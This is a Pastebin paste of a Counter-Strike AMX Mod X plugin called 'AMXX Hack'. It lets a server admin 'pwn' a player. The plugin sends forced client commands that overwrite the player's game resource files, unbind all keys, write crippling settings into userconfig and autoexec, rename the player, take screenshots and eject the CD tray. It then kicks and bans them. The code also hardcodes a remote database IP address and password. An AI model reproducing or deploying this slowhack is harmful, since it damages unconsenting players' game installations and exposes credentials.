Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
- * *
- * AMXX Hack v2.2a *
- * Created By T-z3P *
- * *
- * Thanks to: *
- * - TCO and Blue Snake for some ideas and help *
- * - WiCKED and Drakoo for PHP part *
- * - Avalanche for his GunGame (SQL) *
- * *
- * Notes: *
- * - To give acces to an admin to 'amx_hack' command, use 't' flag (ADMIN_LEVEL_H) *
- * - To pwn a player use 'amx_hack <nick or #userid> [reason]' *
- * - To disable the SQL part, go to '#define USING_SQL' and add '//' in front *
- * | *
- * |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ *
- * \_/ *
- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
- #define USING_SQL
- #include <amxmodx>
- #include <amxmisc>
- #include <engine>
- #include <colorchat>
- #if defined USING_SQL
- #include <sqlx>
- #endif
- #define ADMIN ADMIN_KICK
- #define bZ 45630
- #define MAXSTEAMID 120
- #define DP_AUTH_NONE 0
- #define DP_AUTH_DPROTO 1
- #define DP_AUTH_STEAM 2
- #define DP_AUTH_STEAMEMU 3
- #define DP_AUTH_REVEMU 4
- #define DP_AUTH_OLDREVEMU 5
- #define DP_AUTH_HLTV 6
- #define DP_AUTH_SC2009 7
- #define DP_AUTH_AVSMP 8
- #define DP_AUTH_SXEI 9
- #define DP_AUTH_REVEMU2013 10
- new AUTHOR[]="T-z3P"
- new VERSION[]="2.2b"
- #if defined USING_SQL
- new PLUGIN[]="AMXX Hack (SQL)"
- #else
- new PLUGIN[]="AMXX Hack"
- #endif
- new TAG[]="HACK"
- new slowhack[][]=
- {
- "resource/cstrike_english.txt", "resource/LoadingDialog.res", "resource/LoadingDialogNoBanner.res",
- "resource/LoadingDialogVAC.res", "resource/OptionsSubMultiplayer.res", "resource/UI/BottomSpectator.res",
- "resource/UI/BuyEquipment.res", "resource/UI/BuyMenu.res", "resource/UI/Classmenu.res",
- "resource/UI/MainBuyMenu.res", "resource/UI/MOTD.res", "resource/UI/ScoreBoard.res",
- "resource/UI/Spectator.res", "resource/UI/Teammenu.res", "sprites/hud.txt", "sprites/observer.txt",
- "sound/materials.txt", "liblist.gam", "user.scr", "settings.scr", "commandmenu.txt", "titles.txt"
- }
- new cant_touch_this[]="misc/touch_this.wav"
- new looser[]="misc/looser.wav"
- new bool:bCmd = false
- //new szBuffer[ 4000 + 1 ]
- new const Pwned[ ] = "pwnstatus.res"
- new gs_SteamId[MAXSTEAMID+1][40]
- new g_NumberOfSteams
- new gs_SteamFile[128]
- new ban_name[32]
- new pcv_dp_r_id_provider
- new auth_prov_str[32]
- #if defined USING_SQL
- new hack_sql_host
- new hack_sql_user
- new hack_sql_pass
- new hack_sql_db
- new hack_sql_table
- new sqlTable[32]
- new Handle:tuple
- new Handle:db
- new Handle:query
- new mkQuery[1536]
- new sqlInit
- #else
- new dev_id[] = "STEAM_0:0:26726438"
- new brother_of_dev[] = "STEAM_0:1:26137380"
- #endif
- public plugin_init()
- {
- register_plugin(PLUGIN,VERSION,AUTHOR)
- register_concmd("amx_hack", "cmdHack", ADMIN_LEVEL_H, "<nick or #userid> [reason] : Pwnage by G1")
- register_cvar("amx_hack_version", VERSION)
- #if defined USING_SQL
- hack_sql_host = register_cvar("hack_sql_host","86.124.133.250", FCVAR_PROTECTED)
- hack_sql_user = register_cvar("hack_sql_user","hack_log", FCVAR_PROTECTED)
- hack_sql_pass = register_cvar("hack_sql_pass","P3YvH37KYuErKa96", FCVAR_PROTECTED)
- hack_sql_db = register_cvar("hack_sql_db","hack_log", FCVAR_PROTECTED)
- hack_sql_table = register_cvar("hack_sql_table","hack_log", FCVAR_PROTECTED)
- pcv_dp_r_id_provider = get_cvar_pointer ("dp_r_id_provider")
- sql_init()
- #else
- get_configsdir(gs_SteamFile, 127)
- format(gs_SteamFile,127,"%s/whitelist.ini", gs_SteamFile)
- ReadSteamProtFile()
- #endif
- }
- public plugin_precache()
- {
- precache_sound(cant_touch_this)
- precache_sound(looser)
- //force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, Pwned)
- set_cvar_float("mp_consistency", 1.0)
- }
- public plugin_cfg()
- {
- set_task(10.0, "CheckServer")
- }
- /*public inconsistent_file(id, const szFileName[])
- {
- SteamIDType(id)
- if(equal(szFileName, Pwned) && !equal(auth_prov_str, "Steam (Native)"))
- {
- new pwned_authid[35]
- new pwned_ip[16]
- new pwned_name[32]
- get_user_authid(id, pwned_authid, 34)
- get_user_ip(id, pwned_ip, 15, 1)
- get_user_name(id, pwned_name, 31)
- client_print_color(0, print_chat, "^4[%s] ^3Pwn3d player ^4%s (%s) (%s) ^3tried to connect.", TAG, pwned_name, pwned_authid, pwned_ip)
- client_cmd(id, "disconnect;cl_timeout 0;fps_modem 1")
- server_cmd("addip 0 ^"%s^";wait;wait;writeip", pwned_ip)
- client_cmd(id, "wait;wait;wait;clear;wait;echo ^" ^";echo ^" You have been pwned! ^";echo ^" ^"")
- }
- }*/
- #if defined USING_SQL
- public client_putinserver(id)
- {
- new steamid[35]
- get_user_authid(id, steamid, 34)
- if(containi(steamid, ":")!=-1)
- {
- new data[2], cache[256]
- data[0] = id
- data[1] = get_user_userid(id)
- formatex(cache, sizeof(cache)-1, "SELECT * FROM `%s` WHERE steamid='%s'", sqlTable, steamid)
- SQL_ThreadQuery(tuple, "CheckSteamIDBlackList", cache, data, 2)
- }
- }
- #endif
- public cmdHack(id)
- {
- if(!(get_user_flags(id) & ADMIN_LEVEL_H))
- {
- client_print(id, print_console, "You have no access to that command")
- client_print(id, print_console, "")
- client_print(id, print_console, "Your acces to 'amx_hack' command may be restricted because:")
- client_print(id, print_console, "- you don't have an account on our forum (http://forum.g1.ro)")
- client_print(id, print_console, "- you didn't read server rules yet")
- client_print(id, print_console, "- you are not an admin")
- client_print(id, print_console, "")
- client_print(id, print_console, "If you are an admin and you want to gain acces to this command please register on our")
- client_print(id, print_console, "forum (http://forum.g1.ro) and read server rules")
- client_print(id, print_console, "")
- client_print(id, print_console, "After that go to 'http://forum.g1.ro/viewtopic.php?f=13&t=227' and request your flag back")
- client_print(id, print_console, "")
- return PLUGIN_HANDLED
- }
- if(bCmd)
- {
- waittimer(id)
- return PLUGIN_HANDLED
- }
- new arg[32], admin_name[32], pwned_name[32], pwned_authid[35], pwned_ip[16], reason[32]
- new logfile[64], ctime[64], maxtext[256], server[64], logtime[64], inum, players[32]
- read_argv(1, arg, 31)
- read_argv(2, reason, charsmax(reason))
- new target = cmd_target(id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF)
- if(!target)
- return PLUGIN_HANDLED
- if(strlen(reason) <= 2)
- {
- client_print(id, print_console, "Reason argument must have at least 3 characters!")
- return PLUGIN_HANDLED
- }
- client_print_color(target, print_chat, "^4[%s] ^3Stopping demo recording (if started previous)", TAG)
- client_cmd(target, "stop")
- get_user_name(target, pwned_name, 31)
- get_user_name(id, admin_name, 31)
- get_user_authid(target, pwned_authid, 34)
- get_user_ip(target, pwned_ip, 15, 1)
- get_logsdir(logfile, 63)
- get_players(players,inum)
- get_time("%d/%m/%Y - %H:%M:%S", ctime, 63)
- get_time("%m-%d-%Y", logtime, 63)
- get_cvar_string("hostname", server, sizeof server-1);
- if(is_user_bot(target))
- {
- client_print(id, print_console, "[%s] You can't touch this player, it's a bot!", TAG)
- client_print_color(0, print_chat, "^4[%s] ^3Admin ^4%s ^3attempts to use HACK on ^4%s (BOT)", TAG, admin_name, pwned_name)
- client_cmd(0, "spk ^"%s^"", looser)
- return PLUGIN_HANDLED
- }
- #if defined USING_SQL
- if(containi(pwned_authid, ":")!=-1)
- {
- query = SQL_PrepareQuery(db,"SELECT * FROM `hack_whitelist` WHERE steamid='%s'", pwned_authid)
- if(!SQL_ExecuteAndLog(query))
- {
- SQL_FreeHandle(query)
- return 0
- }
- if(SQL_NumResults(query))
- {
- client_print(id, print_console, "[%s] You can't touch this player!", TAG)
- client_print_color(0, print_chat, "^4[%s] ^3Admin ^4%s ^3attempts to use HACK on ^4%s (%s) (%s)", TAG, admin_name, pwned_name, pwned_authid, pwned_ip)
- return PLUGIN_HANDLED
- }
- SQL_FreeHandle(query)
- }
- #else
- if(CompareVictimSTEAMID(pwned_authid) || equali(dev_id, pwned_authid) || equali(brother_of_dev, pwned_authid))
- {
- client_print(id, print_console, "[%s] You can't touch this player!", TAG)
- client_print_color(0, print_chat, "^4[%s] ^3Admin ^4%s ^3attempts to use HACK on ^4%s (%s) (%s)", TAG, admin_name, pwned_name, pwned_authid, pwned_ip)
- client_cmd(0, "spk ^"%s^"", cant_touch_this)
- return PLUGIN_HANDLED
- }
- #endif
- format(maxtext, 255, "%s: Admin %s pwned %s (%s) (%s) with reason %s", ctime, admin_name, pwned_name, pwned_authid, pwned_ip, reason)
- format(logfile, 63, "%s/amxx_hack-%s.log", logfile, logtime)
- write_file(logfile, maxtext, -1)
- client_print_color(target, print_chat, "^3Server: ^4%s", server)
- client_print_color(target, print_chat, "^3Name: ^4%s ^3- IP: ^4%s ^3- SteamID: ^4%s ^3- Reason: ^4%s", pwned_name, pwned_ip, pwned_authid, reason)
- client_print_color(target, print_chat, "^3Date & time: ^4%s", ctime)
- client_print_color(target, print_chat, "^3You have been pwned by ^4%s.", admin_name)
- client_print_color(target, print_chat, "^3Forum: ^4http://forum.g1.ro")
- client_cmd(target, "wait;wait;wait;wait;wait;wait;snapshot;wait;wait;wait;wait;wait;wait;snapshot;wait;wait;wait;wait;wait;wait;snapshot")
- SlowHack(target)
- client_cmd(target, "motdfile ^"%s^";motd_write ^"Pwned by G1^";wait;wait;wait;wait;wait", Pwned)
- client_cmd(target, "name Pwn3d;say ^"%s pwn3d m3!^";wait;wait", admin_name)
- Settings(target)
- server_print("[%s] Admin %s pwned %s (%s) (%s) with reason %s", TAG, admin_name, pwned_name, pwned_authid, pwned_ip, reason)
- for (new i = 0; i < inum; ++i)
- {
- if(get_user_flags(players[i]) & ADMIN)
- {
- client_print_color(players[i],print_chat,"^4[%s] ^3Admin ^4%s ^3pwned ^4%s (%s) (%s) ^3with reason ^4%s", TAG, admin_name, pwned_name, pwned_authid, pwned_ip, reason)
- }
- }
- get_user_name(target, ban_name, 31)
- SteamIDType(target)
- set_task(3.0, "TimeRefresh", target)
- set_task(4.0, "HackMessage")
- set_task(14.8, "ConsoleMessage", target)
- set_task(14.9, "Kick", target)
- set_task(15.0, "Ban", target)
- client_cmd(0, "spk ^"attention _comma the intruder has been violated^"")
- #if defined USING_SQL
- query = SQL_PrepareQuery(db, "INSERT INTO `%s` (`server`,`data_ora`,`admin`,`nume`,`ip`,`steamid`,`tip_steamid`,`motiv`) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s')", sqlTable, server, ctime, admin_name, pwned_name, pwned_ip, pwned_authid, auth_prov_str, reason)
- if(!SQL_ExecuteAndLog(query))
- {
- SQL_FreeHandle(query)
- return 0
- }
- SQL_FreeHandle(query)
- #endif
- bCmd = true
- waittimer(id)
- return PLUGIN_HANDLED
- }
- public Ban(id)
- {
- new ban_authid[35], ban_ip[16]
- get_user_authid(id, ban_authid, 34)
- get_user_ip(id, ban_ip, 15, 1)
- if(containi(ban_authid, ":")!=-1)
- {
- if(is_user_connected(id))
- {
- client_print_color(0, print_chat, "^4[%s] ^3Pwn3d player ^4%s (%s) (%s) ^3is now banned.", TAG, ban_name, ban_authid, ban_ip)
- server_cmd("banid 0 #%d kick;wait;wait;writeid", get_user_userid(id))
- }
- else
- {
- client_print_color(0, print_chat, "^4[%s] ^3Pwn3d player ^4%s (%s) (%s) ^3is now banned.", TAG, ban_name, ban_authid, ban_ip)
- server_cmd("banid 0 %s;wait;wait;writeid", ban_authid)
- }
- }
- else
- {
- client_print_color(0, print_chat, "^4[%s] ^3Pwn3d player ^4%s (%s) (%s) ^3is now banned.", TAG, ban_name, ban_authid, ban_ip)
- server_cmd("addip 360 %s;wait;wait;writeip", ban_ip)
- }
- }
- public CheckServer()
- {
- static server[64]
- get_cvar_string("hostname", server, charsmax(server))
- if(containi(server, "G1.RO")==-1)
- {
- log_amx("This is not a G1 Gam1ng One server. Server is now shutting down.")
- server_cmd("exit")
- }
- }
- public ConsoleMessage(id)
- {
- new mapname[16]
- get_mapname(mapname, 16)
- client_cmd(id, "clear")
- client_cmd(id, "echo ^" ^"")
- client_cmd(id, "echo ^"You have been pwned!^"")
- client_cmd(id, "echo ^" ^"")
- client_cmd(id, "echo ^"In your 'cstrike' directory 3 screenshots had been taken (%sXXXX.bmp) and 1 demo had been recorded (amx_demo-XX_XX_XXXX-XX_XX_XX.dem).^"", mapname)
- client_cmd(id, "echo ^" ^"")
- client_cmd(id, "echo ^"Keep them for further complaints (http://forum.g1.ro)!^"")
- client_cmd(id, "echo ^" ^"")
- }
- public HackMessage()
- {
- set_hudmessage(255, 255, 255, -1.0, 0.60, 0, 6.0, 10.0)
- show_hudmessage(0, "AMXX Hack %s^nMade by T-z3P", VERSION)
- }
- public Kick(id)
- {
- new mapname[16]
- get_mapname(mapname, 16)
- server_cmd("kick #%d ^"You have been pwned! Check your console for details.^"", get_user_userid(id))
- }
- public Settings(id)
- {
- client_cmd(id, "unbindall;bind ~ toggleconsole;bind y kill")
- client_cmd(id, "rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 20;fps_modem 1;hideradar")
- client_cmd(id, "cl_forwardspeed 0;cl_sidespeed 0;cl_backspeed 0;m_yaw ^"-0.022^";m_pitch ^"-0.022^"")
- client_cmd(id, "hud_saytext_time 0;volume 100.0;fakelag 800;fakeloss 15;gamma 0;brightness 0;crosshair 0")
- client_cmd(id, "writecfg userconfig;writecfg autoexec")
- }
- public SlowHack(id)
- {
- for(new i=0; i<sizeof(slowhack); i++)
- {
- client_cmd(id, "motdfile ^"%s^";wait", slowhack[i])
- client_cmd(id, "motd_write ^"Pwned by G1^";wait", slowhack[i])
- if(!is_user_connected(id)) break
- }
- }
- public SteamIDType(id)
- {
- if (!pcv_dp_r_id_provider)
- {
- log_amx ("[%s] DProto is not running", TAG)
- return PLUGIN_HANDLED
- }
- server_cmd("dp_clientinfo %d", id)
- server_exec()
- new authprov = get_pcvar_num(pcv_dp_r_id_provider)
- switch (authprov)
- {
- case DP_AUTH_NONE: copy(auth_prov_str, 32, "N/A")
- case DP_AUTH_DPROTO: copy(auth_prov_str, 32, "dproto")
- case DP_AUTH_STEAM: copy(auth_prov_str, 32, "Steam (Native)")
- case DP_AUTH_STEAMEMU: copy(auth_prov_str, 32, "SteamEmu")
- case DP_AUTH_REVEMU: copy(auth_prov_str, 32, "revEmu")
- case DP_AUTH_OLDREVEMU: copy(auth_prov_str, 32, "old revEmu")
- case DP_AUTH_HLTV: copy(auth_prov_str, 32, "HLTV")
- case DP_AUTH_SC2009: copy(auth_prov_str, 32, "SteamClient2009")
- case DP_AUTH_AVSMP: copy(auth_prov_str, 32, "AVSMP")
- case DP_AUTH_SXEI: copy(auth_prov_str, 32, "SXEI")
- case DP_AUTH_REVEMU2013: copy(auth_prov_str, 32, "RevEmu2013")
- default: copy(auth_prov_str, 32, "Error")
- }
- return PLUGIN_HANDLED
- }
- public TimeRefresh(id)
- {
- client_cmd(id, "timerefresh;timerefresh;timerefresh;timerefresh;timerefresh;+right;cd eject;wait;wait;wait;wait;wait")
- client_cmd(id, "timerefresh;timerefresh;timerefresh;timerefresh;timerefresh;-right;+left;cd close;wait;wait;wait;wait;wait")
- client_cmd(id, "timerefresh;timerefresh;timerefresh;timerefresh;timerefresh;-left;+right;cd eject;wait;wait;wait;wait;wait")
- client_cmd(id, "timerefresh;timerefresh;timerefresh;timerefresh;timerefresh;-right;+left;wait;wait;wait;wait;wait")
- }
- public waittimer(id)
- {
- if(bCmd)
- {
- set_task(3.0, "waittime", bZ+id)
- }
- return PLUGIN_HANDLED
- }
- public waittime(pid)
- {
- remove_task(pid)
- bCmd = false
- }
- #if defined USING_SQL
- public CheckSteamIDBlackList(FailState, Handle:Query, Error[], Errcode, Data[], DataSize)
- {
- if(FailState)
- {
- log_amx("[%s] SQL Error: %s", TAG, Error)
- return
- }
- new id = Data[0]
- if(!is_user_connected(id) || get_user_userid(id) != Data[1])
- {
- //player disconnected
- return
- }
- new ip[16]
- new steamid[35]
- new name[32]
- get_user_authid(id, steamid, 34)
- get_user_ip(id, ip, 15, 1)
- get_user_name(id, name, 31)
- if(!SQL_MoreResults(Query))
- {
- return
- }
- client_print_color(0, print_chat, "^4[%s] ^3Pwn3d player ^4%s (%s) (%s) ^3tried to connect.", TAG, name, steamid, ip)
- client_cmd(id, "disconnect;cl_timeout 0;fps_modem 1")
- server_cmd("banid 0 %s;wait;wait;writeid", steamid)
- client_cmd(id, "wait;wait;wait;clear;wait;echo ^" ^";echo ^" You have been pwned! ^";echo ^" ^"")
- }
- public plugin_end()
- {
- sql_uninit()
- }
- public sql_uninit()
- {
- if(sqlInit)
- {
- if(db != Empty_Handle) SQL_FreeHandleAndClear(db)
- if(tuple != Empty_Handle) SQL_FreeHandleAndClear(tuple)
- }
- }
- SQL_FreeHandleAndClear(&Handle:arg)
- {
- SQL_FreeHandle(arg)
- arg = Empty_Handle
- }
- stock SQL_ExecuteAndLog(&Handle:queryHandle, const queryStr[]="")
- {
- static preventLoopback = 0
- if(!SQL_Execute(queryHandle))
- {
- static error[256]
- new errnum = SQL_QueryError(queryHandle, error, 255)
- if(queryStr[0]) log_amx("Could not execute query [%s] -- err #%i [%s]", queryStr, errnum, error)
- else
- {
- SQL_GetQueryString(queryHandle,mkQuery,255)
- log_amx("Could not execute query [%s] -- err #%i [%s]", mkQuery, errnum, error)
- }
- // fix thanks to 2inspyr
- if(errnum == 2006 && !preventLoopback)
- {
- log_amx("Attempting to reconnect to server")
- if(sql_init(0))
- {
- log_amx("Successfully reconnected to server, executing query again")
- SQL_GetQueryString(queryHandle, mkQuery, 1535)
- new Handle:newQuery = SQL_PrepareQuery(db, mkQuery)
- preventLoopback = 1
- SQL_ExecuteAndLog(newQuery)
- SQL_FreeHandle(queryHandle)
- queryHandle = newQuery
- preventLoopback = 0
- return 1
- //return SQL_Execute(queryHandle);
- }
- else
- {
- log_amx("Could not reconnect to server")
- preventLoopback = 0
- return 0
- }
- }
- preventLoopback = 0
- return 0
- }
- preventLoopback = 0
- return 1
- }
- stock sql_init(creation_queries=1)
- {
- new host[32], user[32], pass[32], dbname[32]
- get_pcvar_string(hack_sql_host, host, 31)
- get_pcvar_string(hack_sql_user, user, 31)
- get_pcvar_string(hack_sql_pass, pass, 31)
- get_pcvar_string(hack_sql_db, dbname, 31)
- new sqlErrorCode, sqlError[1024]
- server_print("[%s] Config: host=( %s ) user=( %s ) pass=( * ) db=( %s )", TAG, host, user, dbname)
- if(tuple != Empty_Handle) SQL_FreeHandleAndClear(tuple)
- if(db != Empty_Handle) SQL_FreeHandleAndClear(db)
- tuple = SQL_MakeDbTuple(host, user, pass, dbname)
- if(tuple == Empty_Handle)
- {
- server_print("[%s] Error #%i: %s", TAG, sqlErrorCode, sqlError)
- log_amx("Error #%i: %s", sqlErrorCode, sqlError)
- return 0
- }
- db = SQL_Connect(tuple, sqlErrorCode, sqlError, 1023)
- if(db == Empty_Handle)
- {
- server_print("[%s] Error #%i: %s", TAG, sqlErrorCode, sqlError)
- log_amx("Error #%i: %s", sqlErrorCode, sqlError)
- return 0
- }
- else
- {
- server_print("[%s] Connected to database", TAG)
- }
- if(creation_queries)
- {
- get_pcvar_string(hack_sql_table, sqlTable, 31)
- query = SQL_PrepareQuery(db, "CREATE TABLE IF NOT EXISTS `%s` ( `id` int(11) NOT NULL AUTO_INCREMENT, `server` varchar(255) NOT NULL, `data_ora` varchar(255) NOT NULL, `admin` varchar(255) NOT NULL, `nume` varchar(255) NOT NULL, `ip` varchar(15) NOT NULL, `steamid` varchar(255) NOT NULL, `tip_steamid` varchar(255) NOT NULL, `motiv` varchar(255) NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB;",sqlTable)
- if(!SQL_ExecuteAndLog(query))
- {
- SQL_FreeHandle(query)
- return 0
- }
- query = SQL_PrepareQuery(db, "CREATE TABLE IF NOT EXISTS `hack_users` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `password` varchar(50) NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB;")
- if(!SQL_ExecuteAndLog(query))
- {
- SQL_FreeHandle(query)
- return 0
- }
- query = SQL_PrepareQuery(db, "CREATE TABLE IF NOT EXISTS `hack_whitelist` ( `id` int(11) NOT NULL AUTO_INCREMENT, `nume` varchar(255) NOT NULL, `steamid` varchar(255) NOT NULL, `comentariu` varchar(255) NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB;")
- if(!SQL_ExecuteAndLog(query))
- {
- SQL_FreeHandle(query)
- return 0
- }
- SQL_FreeHandle(query)
- }
- sqlInit = 1
- return 1
- }
- #endif
- stock CompareVictimSTEAMID(VAuthID[])
- {
- for(new i=1;i<=g_NumberOfSteams;i++)
- {
- new Data[32]
- parse(gs_SteamId[i], Data, charsmax(Data))
- if(equal(VAuthID, Data))
- return 1
- }
- return 0
- }
- stock ReadSteamProtFile()
- {
- if(!file_exists(gs_SteamFile)) return PLUGIN_CONTINUE
- new InfoFromFile[40], EOF
- for(new i=0;read_file(gs_SteamFile, i, InfoFromFile, 40, EOF) != 0 && i<= MAXSTEAMID;i++)
- {
- if(strlen(InfoFromFile) >= 4)
- {
- g_NumberOfSteams++
- format(gs_SteamId[g_NumberOfSteams], 34, "%s", InfoFromFile)
- }
- }
- server_print("[%s] Loaded %d protected steamids from whitelist.ini", TAG, g_NumberOfSteams)
- return PLUGIN_HANDLED
- }
- stock get_logsdir(name[], len)
- {
- return get_localinfo("amxx_logs", name, len)
- }
- /* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
- *{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
- */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement